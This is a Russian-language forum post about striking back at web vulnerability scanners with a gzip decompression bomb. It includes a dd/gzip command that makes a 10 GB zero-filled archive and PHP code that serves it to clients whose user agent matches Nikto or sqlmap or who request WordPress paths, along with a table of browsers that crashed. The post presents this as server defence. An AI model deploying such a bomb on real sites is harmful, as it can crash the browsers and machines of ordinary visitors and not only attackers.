Если вы когда-нибудь размещали веб-сайт или даже администрировали сервера, то очень хорошо осведомлены о "плохих людях, которые пытаются сделать плохие вещи с вашими вещами". Если у вас есть сервер Linux с SSH, то он возможно уже подвергаются атаке. Вы можете увидеть сколько соединений каждый день делают попытки:
Код:
grep 'authentication failures' /var/log/auth.log
Сотни неудачных попыток даже несмотря на то, что этот сервер отключил проверку пароля и работает на нестандартном порту.
WordPress обрекает всех
Если быть честным, web-сканеры уязвимостей существовали до Wordpress, но поскольку он так широко развернут, большинства сканеров включают сканирование для некоторых неправильно настроенных папок администратора или устаревших плагинов. Так что если захотеть, то можно скачать
Ссылка скрыта от гостей
Ссылка скрыта от гостей
сканеров и начать тестирование, в надежде получить доступ к сайту и его
Ссылка скрыта от гостей
.Пример лог-файла во время сканирования с помощью инструмента Nikto
Вот почему всем администраторам серверов или веб-сайтов приходится иметь дело с гигабайтами логов, полным попыток сканирования. Поэтому мне было интересно...
Есть ли способ нанести ответный удар?
После "танцев с бубном" с реализацией
Ссылка скрыта от гостей
или
Ссылка скрыта от гостей
я вспомнил о старой доброй
Ссылка скрыта от гостей
.Что такое ZIP-бомба?
Сжатие ZIP прекрасно с повторяющимися данными, так что если у вас есть действительно огромный текстовый файл, который состоит из повторяющихся данных, как например все нули, он будет сжимать его действительно хорошо. И это ОЧЕНЬ хорошо.
Как например
Ссылка скрыта от гостей
показывает нам, как можно сжать 4.5 Pb (4.500.000 Gb) файл до размера 42 Kb. Когда вы попытаетесь посмотреть на его содержание или распаковать, то скорее всего произойдет переполнение дискового пространства или ОЗУ.Как использовать ZIP-бомбу против сканера уязвимостей?
К сожалению веб-браузеры не понимают ZIP, но они понимают GZIP. Так что сначала мы должны создать 10 GB файл GZIP, заполненый нулями. Мы могли бы сделать несколько сжатий, но давайте сейчас сделаем проще:
Код:
dd if=/dev/zero bs=1M count=10240 | gzip > 10G.gzip
Создание ZIP-бомбы и проверка ее размера
Можем видеть, что это 10 Mb. Могли бы сделать лучше, но на сейчас достаточно. Теперь, когда мы создали эту веЩь, давайте настроим PHP скрипт, который будет доставлять его к клиенту:
Код:
<?php
//prepare the client to recieve GZIP data. This will not be suspicious
//since most web servers use GZIP by default
header("Content-Encoding: gzip");
header("Content-Length: ".filesize('10G.gzip'));
//Turn off output buffering
if (ob_get_level()) ob_end_clean();
//send the gzipped file to the client
readfile('10G.gzip');
Так что мы могли бы использовать это в качестве простой обороны, например:
Код:
<?php
$agent = filter_input(INPUT_SERVER, 'HTTP_USER_AGENT');
//check for nikto, sql map or "bad" subfolders which only exist on wordpress
if (strpos($agent, 'nikto') !== false || strpos($agent, 'sqlmap') !== false || startswith($url,'wp-') || startswith($url,'wordpress') || startswith($url,'wp/'))
{
sendBomb();
exit();
}
function sendBomb(){
//prepare the client to recieve GZIP data. This will not be suspicious
//since most web servers use GZIP by default
header("Content-Encoding: gzip");
header("Content-Length: ".filesize('10G.gzip'));
//Turn off output buffering
if (ob_get_level()) ob_end_clean();
//send the gzipped file to the client
readfile('10G.gzip');
}
function startsWith($a, $b) {
return strpos($a, $b) === 0;
}
Таким образом. Что происходит, когда вызывается сценарий?
Клиент и результат
IE 11 - Переполнение памяти, падение IE
Chrome - Выскакивает ошибка о переполнение памяти
Edge - Переполнение памяти
Nikto - Кажется сканирование идет нормально и не выходит ошибку
SQLmap - Переполнение памяти до падения
Safari - Переполнение памяти, затем падает и перезагружается, и т.д...
Chrome (Android) - Выскакивает ошибка о переполнение памяти
(если вы проверили это с другими устройствами/браузерами/скриптами, пожалуйста,
Ссылка скрыта от гостей
, и он будет добавлять это
Ссылка скрыта от гостей
)Реакция на вызов скрипта в Chrome
Если вы рискнете:
Ссылка скрыта от гостей
Можете поверить на слово у меня от от этого Firefox умер и калий перестал реагировать на что либо до перезагрузки
Последнее редактирование: